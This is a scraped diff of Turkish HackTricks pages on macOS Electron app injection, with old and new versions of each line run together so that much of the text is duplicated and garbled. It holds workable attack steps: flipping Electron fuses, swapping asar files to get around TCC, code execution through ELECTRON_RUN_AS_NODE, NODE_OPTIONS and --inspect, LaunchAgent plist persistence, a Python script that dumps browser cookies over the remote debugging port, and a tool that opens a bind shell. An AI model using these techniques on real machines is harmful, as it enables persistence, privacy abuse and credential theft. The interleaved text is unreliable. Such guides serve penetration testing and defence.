``` ```
<details> <detaylar>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <özet>
HackTricks'i desteklemenin diğer yolları: <strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Şirketinizi HackTricks'te reklamını görmek isterseniz** veya **HackTricks'i PDF olarak indirmek isterseniz** [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına.
</details> </detaylar>

View file

@ -1,41 +1,41 @@
# macOS Electron Uygulamalarında Enjeksiyon # macOS Electron Uygulamaları Enjeksiyonu
<details> <details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary> <summary><strong>AWS hackleme konusunda sıfırdan kahraman olmaya kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'i keşfedin * [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
* Hacking hilelerinizi **HackTricks** ve **HackTricks Cloud** github depolarına PR göndererek paylaşın. * **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>
## Temel Bilgiler ## Temel Bilgiler
Electron nedir bilmiyorsanız, [**burada birçok bilgi bulabilirsiniz**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ancak şimdilik sadece şunu bilin ki Electron **node** çalıştırır.\ Electron nedir bilmiyorsanız [**burada birçok bilgi bulabilirsiniz**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps). Ancak şu anda sadece bilmelisiniz ki Electron **node** çalıştırır.\
Ve node'un bazı **parametreleri** ve **çevresel değişkenleri** vardır ki bunlar, belirtilen dosyanın dışında başka kodları **çalıştırmak için kullanılabilir**. Ve node'un **başka kodları çalıştırmasına izin veren** bazı **parametreleri** ve **çevresel değişkenleri** vardır.
### Electron Füzyonları ### Electron Sigortaları
Bu teknikler bir sonraki bölümde tartışılacak olsa da, Electron son zamanlarda bunları **önlemek için birkaç güvenlik bayrağı ekledi**. Bunlar [**Electron Füzyonları**](https://www.electronjs.org/docs/latest/tutorial/fuses) olarak adlandırılır ve bunlar macOS'ta Electron uygulamalarının **keyfi kod yükleme**yi **önlemek** için kullandığı füzyonlardır: Bu teknikler bir sonraki aşamada tartışılacak, ancak son zamanlarda Electron, bunları **önlemek için** birkaç **güvenlik bayrağı ekledi**. Bunlar [**Electron Sigortaları**](https://www.electronjs.org/docs/latest/tutorial/fuses) ve bunlar macOS'ta Electron uygulamalarının **keyfi kod yükleme**yi **önlemek** için kullandığı sigortalardır:
* **`RunAsNode`**: Devre dışı bırakılırsa, kod enjeksiyonu için **`ELECTRON_RUN_AS_NODE`** çevresel değişkeninin kullanımını engeller. * **`RunAsNode`**: Devre dışı bırakıldığında, kod enjekte etmek için **`ELECTRON_RUN_AS_NODE`** çevresel değişkeninin kullanılmasını engeller.
* **`EnableNodeCliInspectArguments`**: Devre dışı bırakılırsa, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmaz. Böylece kod enjeksiyonunu önler. * **`EnableNodeCliInspectArguments`**: Devre dışı bırakıldığında, `--inspect`, `--inspect-brk` gibi parametreler dikkate alınmaz. Bu şekilde kod enjekte etme engellenir.
* **`EnableEmbeddedAsarIntegrityValidation`**: Etkinleştirilirse, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanır**. Bu şekilde, bu dosyanın içeriğini değiştirerek kod enjeksiyonunu önler. * **`EnableEmbeddedAsarIntegrityValidation`**: Eğer etkinse, yüklenen **`asar`** **dosyası** macOS tarafından **doğrulanır**. Bu dosyanın içeriğini değiştirerek **kod enjeksiyonunu** bu şekilde **önler**.
* **`OnlyLoadAppFromAsar`**: Bu etkinleştirilirse, yükleme sırasını aramak yerine sadece **`app.asar`**'ı kontrol eder ve kullanır. Bu şekilde, **`embeddedAsarIntegrityValidation`** füzyonuyla birleştirildiğinde doğrulanmamış kodun yüklenmesinin **imkansız** olduğunu garanti eder. * **`OnlyLoadAppFromAsar`**: Bu etkinse, aşağıdaki sırayla yükleme arayışında olmak yerine: **`app.asar`**, **`app`** ve son olarak **`default_app.asar`**. Sadece app.asar'ı kontrol eder ve kullanır, böylece **`embeddedAsarIntegrityValidation`** sigortası ile birleştirildiğinde **doğrulanmamış kodun** yüklenmesinin **imkansız** olduğunu garanti eder.
* **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinleştirilirse, tarayıcı işlemi V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır. * **`LoadBrowserProcessSpecificV8Snapshot`**: Etkinse, tarayıcı işlemi V8 anlık görüntüsü için `browser_v8_context_snapshot.bin` adlı dosyayı kullanır.
Kod enjeksiyonunu önlemeyen başka bir ilginç füzyon: Kod enjeksiyonunu önlemeyen başka ilginç bir sigorta ise:
* **EnableCookieEncryption**: Etkinleştirilirse, diskteki çerez deposu işletim sistemi düzeyinde şifreleme anahtarları kullanılarak şifrelenir. * **EnableCookieEncryption**: Etkinse, diskteki çerez deposu işletim sistemi düzeyindeki şifreleme anahtarları kullanılarak şifrelenir.
### Electron Füzyonlarını Kontrol Etme ### Electron Sigortalarını Kontrol Etme
Bu bayrakları bir uygulamadan **kontrol edebilirsiniz**: Bu bayrakları bir uygulamadan kontrol edebilirsiniz:
```bash ```bash
npx @electron/fuses read --app /Applications/Slack.app npx @electron/fuses read --app /Applications/Slack.app
@ -49,37 +49,38 @@ EnableEmbeddedAsarIntegrityValidation is Enabled
OnlyLoadAppFromAsar is Enabled OnlyLoadAppFromAsar is Enabled
LoadBrowserProcessSpecificV8Snapshot is Disabled LoadBrowserProcessSpecificV8Snapshot is Disabled
``` ```
### Electron Füze Ayarlarını Değiştirme ### Electron Sigortalarını Değiştirme
[**Belgelerde**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode) belirtildiği gibi, **Electron Füze**nin yapılandırması, **Electron ikili** içinde yapılandırılmıştır ve içinde **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** dizesini içeren bir yer bulunur. [Belgelerde belirtildiği gibi](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode), **Electron Sigortalarının** yapılandırması genellikle **Electron ikili dosyası** içinde yapılandırılmıştır ve içinde **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** dizesini içerir.
MacOS uygulamalarında genellikle `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` içinde bulunur. MacOS uygulamalarında bu genellikle `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework` dizinindedir.
```bash ```bash
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/ grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
``` ```
Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizeden sonra, her sigortanın devre dışı bırakılmış veya etkinleştirilmiş olduğunu gösteren ASCII'de bir "0" veya "1" numarası görebilirsiniz. Sadece hex kodunu (`0x30` `0` ve `0x31` `1` olarak) **sigorta değerlerini değiştirmek**in değiştirin. Bu dosyayı [https://hexed.it/](https://hexed.it/) adresinde yükleyebilir ve önceki dizeyi arayabilirsiniz. Bu dizenin hemen sonrasında, her sigortanın devre dışı bırakılmış veya etkinleştirilmiş olduğunu gösteren bir "0" veya "1" sayısı ASCII olarak görünecektir. Sadece hex kodunu değiştirin (`0x30` `0` ve `0x31` `1` olarak) **sigorta değerlerini değiştirmek** için.
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ancak, bu baytları değiştirilmiş olarak bir uygulamanın içindeki **`Electron Framework` ikili** dosyasını **üzerine yazmaya** çalışırsanız, uygulama çalışmayacaktır. Uyarı: **`Electron Framework` ikili** dosyasını bu baytlar değiştirilmiş bir uygulamanın içine **üzerine yazmaya** çalışırsanız, uygulama çalışmayacaktır.
## Electron Uygulamalarına Kod Ekleyerek Uzaktan Kod Çalıştırma (RCE) ## Electron Uygulamalarına Kod Ekleyerek Uzaktan Kod Çalıştırma (RCE)
Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan bu dosyalara kod enjekte edebilir ve imzası kontrol edilmeyen bu kodu uygulama bağlamında çalıştırabilir. Bir Electron Uygulamasının kullandığı **harici JS/HTML dosyaları** olabilir, bu nedenle bir saldırgan bu dosyalara kod enjekte edebilir ve imzası kontrol edilmeyen bu dosyalarda keyfi kodları uygulama bağlamında çalıştırabilir.
{% hint style="danger" %} {% hint style="danger" %}
Ancak, şu anda 2 sınırlama bulunmaktadır: Ancak, şu anda 2 kısıtlama bulunmaktadır:
* Bir Uygulamayı değiştirmek için **`kTCCServiceSystemPolicyAppBundles`** iznine **ihtiyaç** vardır, bu nedenle varsayılan olarak bu artık mümkün değildir. * Bir Uygulamayı değiştirmek için **`kTCCServiceSystemPolicyAppBundles`** iznine **ihtiyaç** vardır, bu nedenle varsayılan olarak bu artık mümkün değildir.
* Derlenmiş **`asap`** dosyasının genellikle **`embeddedAsarIntegrityValidation`** ve **`onlyLoadAppFromAsar`** sigortaları **etkin** olarak ayarlıdır. * Derlenmiş **`asap`** dosyasının genellikle füze **`embeddedAsarIntegrityValidation`** ve **`onlyLoadAppFromAsar`** `etkin` olarak ayarlanmıştır.
Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir. Bu saldırı yolunu daha karmaşık (veya imkansız) hale getirir.
{% endhint %} {% endhint %}
**`kTCCServiceSystemPolicyAppBundles`** gereksinimini atlamak mümkündür. Bunun için uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`** olarak yeniden adlandırarak, **asar** dosyasını **kötü niyetli** kodunuzla değiştirerek, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak yapabilirsiniz. `kTCCServiceSystemPolicyAppBundles` gereksinimini atlamak mümkündür, uygulamayı başka bir dizine (örneğin **`/tmp`**) kopyalayarak, klasörü **`app.app/Contents`**'i **`app.app/NotCon`** olarak yeniden adlandırarak, **asar** dosyasını **zararlı** kodunuzla değiştirerek, tekrar **`app.app/Contents`** olarak adlandırarak ve çalıştırarak.
Asar dosyasından kodu çıkarabilirsiniz: Asar dosyasından kodu açabilirsiniz:
```bash ```bash
npx asar extract app.asar app-decomp npx asar extract app.asar app-decomp
``` ```
@ -89,7 +90,7 @@ npx asar pack app-decomp app-new.asar
``` ```
## `ELECTRON_RUN_AS_NODE` ile Uzaktan Kod Çalıştırma (RCE) <a href="#electron_run_as_node" id="electron_run_as_node"></a> ## `ELECTRON_RUN_AS_NODE` ile Uzaktan Kod Çalıştırma (RCE) <a href="#electron_run_as_node" id="electron_run_as_node"></a>
[**Belgelere**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node) göre, bu çevre değişkeni ayarlandığında, işlem normal bir Node.js işlemi olarak başlatılır. [**Belgelere**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node) göre, bu çevre değişkeni ayarlandığında işlem normal bir Node.js işlemi olarak başlatılacaktır.
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -101,12 +102,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %} {% endcode %}
{% hint style="danger" %} {% hint style="danger" %}
Eğer **`RunAsNode`** füzesi devre dışı bırakılmışsa, **`ELECTRON_RUN_AS_NODE`** ortam değişkeni görmezden gelinir ve bu çalışmaz. Eğer **`RunAsNode`** anahtarı devre dışı bırakılmışsa, **`ELECTRON_RUN_AS_NODE`** ortam değişkeni görmezden gelinir ve bu çalışmaz.
{% endhint %} {% endhint %}
### Uygulama Plist'ten Enjeksiyon ### Uygulama Plist Dosyasından Enjeksiyon
[**Burada önerildiği gibi**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), kalıcılığı sağlamak için bu ortam değişkenini bir plist içinde kötüye kullanabilirsiniz: [**Burada önerildiği gibi**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), kalıcılığı sağlamak için bu ortam değişkenini bir plist dosyasında kötüye kullanabilirsiniz:
```xml ```xml
<?xml version="1.0" encoding="UTF-8"?> <?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -145,12 +146,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
{% endcode %} {% endcode %}
{% hint style="danger" %} {% hint style="danger" %}
Eğer **EnableNodeOptionsEnvironmentVariable** ayarı **devre dışı** bırakılmışsa, uygulama başlatıldığında **NODE_OPTIONS** ortam değişkenini **yoksayacak**, ancak **ELECTRON_RUN_AS_NODE** ortam değişkeni ayarlanmışsa, bu da **yoksayılacak**tır. Eğer **ELECTRON_RUN_AS_NODE** ayarını yapmazsanız, şu hatayı alırsınız: `Paketlenmiş uygulamalarda çoğu NODE_OPTION desteklenmez. Daha fazla ayrıntı için belgelere bakın.` Eğer **`EnableNodeOptionsEnvironmentVariable`** füzyonu **devre dışı bırakılmışsa**, uygulama başlatıldığında **NODE_OPTIONS** çevresel değişkenini **yoksayar**. Bu durum, **`ELECTRON_RUN_AS_NODE`** çevresel değişkeni ayarlanmadığı sürece **yoksayılacaktır** ve bu da **`RunAsNode`** füzyonu devre dışı bırakılmışsa **yoksayılacaktır**.
**`ELECTRON_RUN_AS_NODE`** ayarlamazsanız, şu **hata** ile karşılaşırsınız: `Most NODE_OPTIONs are not supported in packaged apps. See documentation for more details.`
{% endhint %} {% endhint %}
### Uygulama Plist'ten Enjeksiyon ### Uygulama Plist'ten Enjeksiyon
Bu ortam değişkenini bir plist içinde kötüye kullanabilir ve süreklilik sağlayabilirsiniz. Aşağıdaki anahtarları ekleyin: Bu çevresel değişkeni bir plist'te kötüye kullanarak kalıcılığı sürdürebilirsiniz, aşağıdaki anahtarları ekleyerek:
```xml ```xml
<dict> <dict>
<key>EnvironmentVariables</key> <key>EnvironmentVariables</key>
@ -166,9 +169,9 @@ Bu ortam değişkenini bir plist içinde kötüye kullanabilir ve süreklilik sa
<true/> <true/>
</dict> </dict>
``` ```
## Denetim yaparak Uzaktan Kod Enjeksiyonu (RCE) ## Denetim yaparak Uzaktan Kod Yürütme (RCE)
[**Bu**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kaynağa göre, Electron uygulamasını **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla çalıştırırsanız, bir **hata ayıklama bağlantı noktasıılacak** ve buna bağlanabileceksiniz (örneğin Chrome'da `chrome://inspect` üzerinden) ve hatta yeni işlemler başlatabileceksiniz.\ [**Bu**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f) kaynağa göre, Electron uygulamasını **`--inspect`**, **`--inspect-brk`** ve **`--remote-debugging-port`** gibi bayraklarla çalıştırırsanız, bir **hata ayıklama bağlantı noktasıılacaktır** böylece ona bağlanabilirsiniz (örneğin Chrome'dan `chrome://inspect` üzerinden) ve üzerine **kod enjekte edebilirsiniz** veya yeni işlemler başlatabilirsiniz.\
Örneğin: Örneğin:
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -180,10 +183,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
{% endcode %} {% endcode %}
{% hint style="danger" %} {% hint style="danger" %}
Eğer **`EnableNodeCliInspectArguments`** adlı fuse devre dışı bırakılmışsa, uygulama başlatıldığında **`--inspect`** gibi node parametrelerini **yok sayar**, ancak **`ELECTRON_RUN_AS_NODE`** adlı çevresel değişken ayarlanmışsa, bu da **yok sayılır**. Bu durumda **electron parametresi `--remote-debugging-port=9229`** kullanabilirsiniz, ancak önceki payload diğer işlemleri yürütmek için çalışmayacaktır. Eğer **`EnableNodeCliInspectArguments`** kilidi devre dışı bırakılmışsa, uygulama başlatıldığında **node parametrelerini** (örneğin `--inspect`) **yoksayar** (env değişkeni **`ELECTRON_RUN_AS_NODE`** ayarlanmadığı sürece), bu da **yoksayılacak** eğer **`RunAsNode`** kilidi devre dışı bırakılmışsa.
Ancak, hala **electron parametresi `--remote-debugging-port=9229`** kullanabilirsiniz ancak önceki yük işlemi diğer işlemleri yürütmek için çalışmayacaktır.
{% endhint %} {% endhint %}
Parametre **`--remote-debugging-port=9222`** kullanarak, Electron Uygulamasından **geçmiş** (GET komutlarıyla) veya tarayıcının **çerezlerini** (tarayıcı içinde **şifrelenmiş** oldukları ve onları verecek bir **json uç noktası** olduğu için) çalmak mümkündür. Parametre **`--remote-debugging-port=9222`** kullanarak Electron Uygulamasından bazı bilgileri çalmak mümkündür, örneğin **geçmiş** (GET komutları ile) veya tarayıcının içinde **şifrelenmiş** olan **çerezler** (çünkü tarayıcı içinde **şifrelenmiş** ve onları verecek bir **json uç noktası** bulunmaktadır).
Bunu [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilir ve otomatik araç [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya basit bir betik kullanabilirsiniz: Bunu [**burada**](https://posts.specterops.io/hands-in-the-cookie-jar-dumping-cookies-with-chromiums-remote-debugger-port-34c4f468844e) ve [**burada**](https://slyd0g.medium.com/debugging-cookie-dumping-failures-with-chromiums-remote-debugger-8a4c4d19429f) öğrenebilir ve otomatik araç [WhiteChocolateMacademiaNut](https://github.com/slyd0g/WhiteChocolateMacademiaNut) veya basit bir betik kullanabilirsiniz:
```python ```python
@ -193,11 +198,11 @@ ws.connect("ws://localhost:9222/devtools/page/85976D59050BFEFDBA48204E3D865D00",
ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}') ws.send('{\"id\": 1, \"method\": \"Network.getAllCookies\"}')
print(ws.recv() print(ws.recv()
``` ```
[**Bu blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıklama işlemi, başsız bir chrome'un **keyfi dosyaları keyfi konumlara indirmesini sağlamak için** kötüye kullanılmıştır. [**Bu blog yazısında**](https://hackerone.com/reports/1274695), bu hata ayıklama işlemi, başsız bir chrome'un **keyfi dosyaları keyfi konumlara indirmesini sağlamak için kötüye kullanılmıştır**.
### Uygulama Plist'ten Enjeksiyon ### Uygulama Plist'ten Enjeksiyon
Bu çevre değişkenini bir plist içinde kötüye kullanabilir ve kalıcılığı sağlamak için şu anahtarları ekleyebilirsiniz: Bu çevresel değişkeni bir plist'te kötüye kullanabilir ve kalıcılığı sürdürmek için şu anahtarları ekleyebilirsiniz:
```xml ```xml
<dict> <dict>
<key>ProgramArguments</key> <key>ProgramArguments</key>
@ -214,19 +219,19 @@ Bu çevre değişkenini bir plist içinde kötüye kullanabilir ve kalıcılığ
## Eski Sürümleri Kullanarak TCC Atlatma ## Eski Sürümleri Kullanarak TCC Atlatma
{% hint style="success" %} {% hint style="success" %}
macOS'un TCC daemon'ı, uygulamanın çalıştırılan sürümünü kontrol etmez. Bu nedenle, önceki tekniklerle bir Electron uygulamasına kod enjekte edemiyorsanız, bir önceki sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Trust Cache engellemezse). macOS'taki TCC daemonı uygulamanın çalıştırılan sürümünü kontrol etmez. Dolayısıyla, **Electron uygulamasına kod enjekte edemezseniz** önceki tekniklerden herhangi biriyle eski bir UYGULAMA sürümünü indirip üzerine kod enjekte edebilirsiniz çünkü hala TCC ayrıcalıklarını alacaktır (Güven Önbelleği engellemezse).
{% endhint %} {% endhint %}
## JS Kodu Dışında Kod Çalıştırma ## JS Olmayan Kod Çalıştırma
Önceki teknikler, **electron uygulamasının işlemi içinde JS kodunu çalıştırmanıza** izin verecektir. Ancak, **çocuk işlemler, ebeveyn uygulama ile aynı kum havuzu profilinde** çalışır ve **TCC izinlerini miras alır**.\ Önceki teknikler size **Electron uygulamasının işlemi içinde JS kodunu çalıştırmanıza** izin verecektir. Ancak, **çocuk işlemler aynı kum havuzu profili altında çalışır** ve **TCC izinlerini miras alırlar**.\
Bu nedenle, örneğin kamera veya mikrofona erişmek için yetkilendirmeleri kötüye kullanmak istiyorsanız, sadece **işlem içinden başka bir ikili çalıştırabilirsiniz**. Bu nedenle, örneğin kameraya veya mikrofona erişmek için ayrıcalıkları kötüye kullanmak istiyorsanız, sadece **işlem içinden başka bir ikili dosyayı çalıştırabilirsiniz**.
## Otomatik Enjeksiyon ## Otomatik Enjeksiyon
[**electroniz3r**](https://github.com/r3ggi/electroniz3r) aracı, kurulu olan zayıf noktalı electron uygulamalarını bulmak ve üzerlerine kod enjekte etmek için kolayca kullanılabilir. Bu araç, **`--inspect`** tekniğini kullanmaya çalışacaktır: [**electroniz3r**](https://github.com/r3ggi/electroniz3r) aracı, yüklü olan **savunmasız electron uygulamalarını bulmak** ve üzerlerine kod enjekte etmek için kolayca kullanılabilir. Bu araç **`--inspect`** tekniğini kullanmaya çalışacaktır:
Kendiniz derlemeniz gerekmektedir ve aşağıdaki gibi kullanabilirsiniz: Kendiniz derlemeniz ve şu şekilde kullanmanız gerekmektedir:
```bash ```bash
# Find electron apps # Find electron apps
./electroniz3r list-apps ./electroniz3r list-apps
@ -270,14 +275,14 @@ Shell binding requested. Check `nc 127.0.0.1 12345`
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana dönüşmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>'ı öğrenin!</strong></summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINA**](https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* Özel [**NFT'lerden**](https://opensea.io/collection/the-peass-family) oluşan koleksiyonumuz olan [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin * [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimizle**](https://opensea.io/collection/the-peass-family)
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)'u **takip edin**. * 💬 **Discord grubuna** [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking hilelerinizi HackTricks ve HackTricks Cloud** github depolarına **PR göndererek paylaşın**. * **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details> </details>

View file

@ -2,19 +2,19 @@
<details> <details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>AWS hacklemeyi sıfırdan kahramana dönüştürmek için</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
